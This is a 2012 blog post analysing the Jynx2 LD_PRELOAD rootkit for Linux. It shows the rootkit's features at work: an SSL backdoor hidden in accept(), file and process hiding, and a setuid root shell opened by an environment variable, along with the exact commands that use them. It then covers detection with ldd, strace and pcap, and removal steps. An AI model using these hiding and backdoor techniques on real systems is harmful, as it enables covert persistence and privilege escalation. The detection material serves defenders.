Jynx2 Sneak Peek & Analysis

March 15, 2012 by Blackhat Academy

Jynx2 is the second installment in the LD_Preload Jynx Rootkit series first released October 19, 2011 at blackhatacademy.org. See references for earlier versions and additional information.


  • Hooks accept() for socket connections
  • Multi-factor authentication
  • Suid Privesc Drop
  • Process hiding
  • File hiding

Strace log | Pcap log

C’s accept() function is the function used when a socket connection is received and initiated by the server. This is typically used for all TCP-related server-side functionality written in C, and by overriding it, we can determine if this is regular traffic for the port, or if it’s the rootkit owner attempting to log in. In order to determine whether or not to hijack the socket’s file descriptor, we check against the client-side port (defined by highport and lowport in the pre-compile configuration of the rootkit) attempting to open the connection. If the port is correct, the file descriptor is hijacked and the connection and related processes becomes hidden from a typical administrator. Otherwise, the connection is passed to the service daemon and the service operates normally for the user connecting to the service, as if no rootkit is present.

Due to the accept() hook, this rootkit does not require any modification of existing firewalls. This makes it particularly effective when the server is behind a network layer appliance type firewall, as no holes need to be poked. Any existing service may be hooked; so long as the service is restarted it will grant access as the service’s username, and suid shell drop is available. While this feature is similar to ncom’s accept() hook, the use of SSL is a vast improvement over it.

Files and processes are hidden by several factors in the pre-compile configuration phase, along with a default password (DEFAULT_PASS). The factors used after authentication for hiding files and processes include a “Magic string” and a “Magic GID”. This means that any files beginning with a particular string (“XxJynx” by default) or owned by a particular group will automatically be hidden from the root user.

 # cd ~user/
 # mkdir XxJynx_myfiles
 # ls | grep myfiles

However, due to the nature of the kit, we can still see this file when we are logged in from the netcat shell (an attacker’s perspective). This was fixed with the file “reality.so” installed to its INSTALL directory on installation of the kit.

# ncat --ssl localhost 80 -p1021
  cd ~user/
  # ls | grep -i jynx

Like many things on UNIX (and Linux by extension), processes are represented as files. This is done the /proc filesystem in Linux. Every process is has a directory corresponding to its PID in /proc.

For example:

  $ sleep 100
    [1] 3700
  $ ls /proc/3700
    attr        coredump_filter  io         mountstats     pagemap      stat
    autogroup   cpuset           limits     net            personality  statm
    auxv        cwd              loginuid   ns             root         status
    cgroup      environ          maps       numa_maps      sched        syscall
    clear_refs  exe              mem        oom_adj        sessionid    task
    cmdline     fd               mountinfo  oom_score      smaps        wchan
    comm        fdinfo           mounts     oom_score_adj  stack

The files contain various pieces of information about the process, such as memory space, environment variables and current working directory. Since there is no API within Linux for viewing process information, all one must do to hide a process is hide its entry in the /proc file system. Since each the proc entries are owned by the owner of that process, any process started under the magic GID/UID will be hidden just the same as a file would be.

Processes spawned by the backdoor or by the jynx user are also hidden from listing in /proc:

  jynx@kingmaker:/home/jynx2$ sleep 1000 &
    [1] 30835
  jynx@kingmaker:/home/jynx2$ ls /proc/30835
    ls: cannot access /proc/30835: No such file or directory

By setting the LD_PRELOAD environment variable to the reality.so file, we can see hidden files, processes, and folders:

  jynx@kingmaker:/home/jynx2$ LD_PRELOAD=/XxJynx/reality.so ls /proc/30835
     attr        auxv    clear_refs  comm        cpuset    environ  fd      io      loginuid  mem          mounts      net  numa_maps   oom_score      pagemap      root   sessionid    stack  statm   syscall
     wchan autogroup   cgroup  cmdline     coredump_filter    cwd    exe      fdinfo  limits   maps       mountinfo  mountstats  ns   oom_adj       oom_score_adj   personality  sched  smaps    stat
    status  task

Processes owned by the magic GID or spawned by the backdoor are hidden similarly from ps:

  # su jynx
  $ sleep 100
  # ps aux | grep sleep
    user       30827  0.0  0.0  18252  1612 pts/2    S+   18:43   0:00 grep sleep

There is no sleep process from the jynx user. Similarly, using the backdoor:

  # ncat --ssl localhost 80 -p1021
  # ps aux | grep bash
    user       29683  0.0  0.1  21064  3992 pts/3    Ss   17:20   0:00 bash
    root     29786  0.0  0.0  19448  2176 pts/3    S    17:20   0:00 bash
    user       29995  0.0  0.1  21064  3996 pts/1    Ss   17:34   0:00 bash
    root     30124  0.0  0.0  19448  2212 pts/1    S    17:35   0:00 bash
    user       30516  1.6  0.1  31500  4588 pts/2    Ss   18:07   0:00 bash
    user       30608  0.0  0.0  18256  1612 pts/2    S+   18:07   0:00 grep bash

As we can see here, there is no bash process running in ps for www-data.

Additionally, by setting the environment variable matching the magic string, we’re able to obtain root privileges with the backdoor using a suid binary:

  # ncat --ssl localhost 80 -p 1021
    # whoami
    # XxJynx=hax gpasswd /
    stdin: is not a tty
    # whoami

The privilege escelation backdoor uses preloaded setuid bins to produce a root shell. For example, gpasswd, which is used in the above example:

  $ ls -lah $(which gpasswd)
  -rwsr-xr-x 1 root root 59K Feb 16  2011 /usr/bin/gpasswd

LD_PRELOAD will not normally apply to setuid binaries unless certain conditions are met, most notably the shared library must be placed in /lib and /usr/lib. However, this restriction does not apply to shared libraries placed in /etc/ld.so.preload. In each hooked/preloaded function there is a function which checks the environment variable XxJynx (which is set in config.h) for a specific value. If that value is set, it will spawn a root shell if it has the permissions to do so.


  • LDD

Perhaps the simplest method of detection is with ldd, this is a simple ldd of the “ls” coreutil binary.

  # ldd /bin/ls
  linux-vdso.so.1 =>  (0x00007fff86dff000)
  /XxJynx/jynx2.so (0x00007f6ce5a3e000)
  libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f6ce5806000)
  librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007f6ce55fe000)
  libacl.so.1 => /lib/x86_64-linux-gnu/libacl.so.1 (0x00007f6ce53f6000)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6ce506f000)
  libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f6ce4e6a000)
  libssl.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libssl.so.1.0.0 (0x00007f6ce4c18000)
  /lib64/ld-linux-x86-64.so.2 (0x00007f6ce5c48000)
  libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f6ce49fc000)
  libattr.so.1 => /lib/x86_64-linux-gnu/libattr.so.1 (0x00007f6ce47f7000)
  libcrypto.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.0 (0x00007f6ce4431000)
  libz.so.1 => /usr/lib/libz.so.1 (0x00007f6ce421a000)

This, of course could be changed to point to /etc/ld.so.preload, however if you try to access the file, it won’t exist. So, one method of detection would be to determine the presence of ld.so.preload etc or any library inside of an `ldd’ listing that cannot be read by your user using bash, claiming that the file does not exist.

  • strace

We ran “strace nc -l -p 6001”, as even netcat will be hooked, to show an example of the accept() hook. Here, we show netcat binding and listening on the port, then waiting for connection

  bind(3, {sa_family=AF_INET, sin_port=htons(6001), sin_addr=inet_addr("")}, 16) = 0
  listen(3, 10)                           = 0
  fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
  fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
  select(4, [3], NULL, NULL, NULL)        = 1 (in [3])

Now we can see the connection being accepted in strace:

  accept(3, {sa_family=AF_INET, sin_port=htons(1021), sin_addr=inet_addr("")}, [16]) = 4

Once the password is entered, we see the kit hijacking the file descriptor::

  clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0xb729d728) = 8527
  close(-1)                               = -1 EBADF (Bad file descriptor)

Then moving to protect the connection:

  select(4, [3], NULL, NULL, NULL)        = ? ERESTARTNOHAND (To be restarted)
  --- {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=8527, si_status=1, si_utime=7, si_stime=0} (Child exited) ---
  waitpid(-1, NULL, WNOHANG)              = 8527
  waitpid(-1, NULL, WNOHANG)              = -1 ECHILD (No child processes)
  sigreturn()                             = ? (mask now [])

At this point in the sequence, an attacker has already entered root access level on the infected system, yet the connection does not appear in netstat, nor any additional PID’s appear in /proc or processes in ps/top. So we can easily make a comparison based from the strace with netstat in order to locate an attacker logging into a compromised machine.

  • Netstat and pcap discrepancies

Another method of detection includes the comparison of pcap data with netstat data; however it is also difficult to determine what the attacker was doing due to the shell being SSL encrypted. Our PCAP file contains a recording of the infected host’s traffic logs. Though this rootkit may hide from netstat, it does not yet hide from pcap. The SSL hook does not require the support of SSL within the service, only that SSL be installed on the system being infected.


The older method of removing jynx will no longer work:

  echo "" > /etc/ld.so.preload

For any ld_preload rootkit, the best method of removal is by mounting the drive from a livecd and deleting it that way, due to the number of potential function hooks that could be embedded within the kit. This particular kit does not protect itself from symbolic links, and therefore can be easily removed. For ease of removal, you can run the following commands to remove Jynx2

 ln -s /etc/ld.so.preload ./rootkit.so
 echo "" > ./rootkit.so
 rm -vf rootkit.so


Posted: March 15, 2012
Blackhat Academy
View Profile

Blackhat Academy is an organization dedicated to educating the public on matters regarding secure programming, networking, administration, internet development, and generally what it means to be a hacker and survive in today's world. It is not a group focused on hacking: rather, it is just a group of hackers that want people to learn. A common misconception is that a hacker is a person that commits computer crimes. Blackhat Academy does not commit any crimes or even teach people how to commit crimes. What one learns from them should be used appropriately towards defending oneself. The bad guys already know this stuff; Blackhat Academy (like InfoSec Institute) exists to enlighten the rest of us.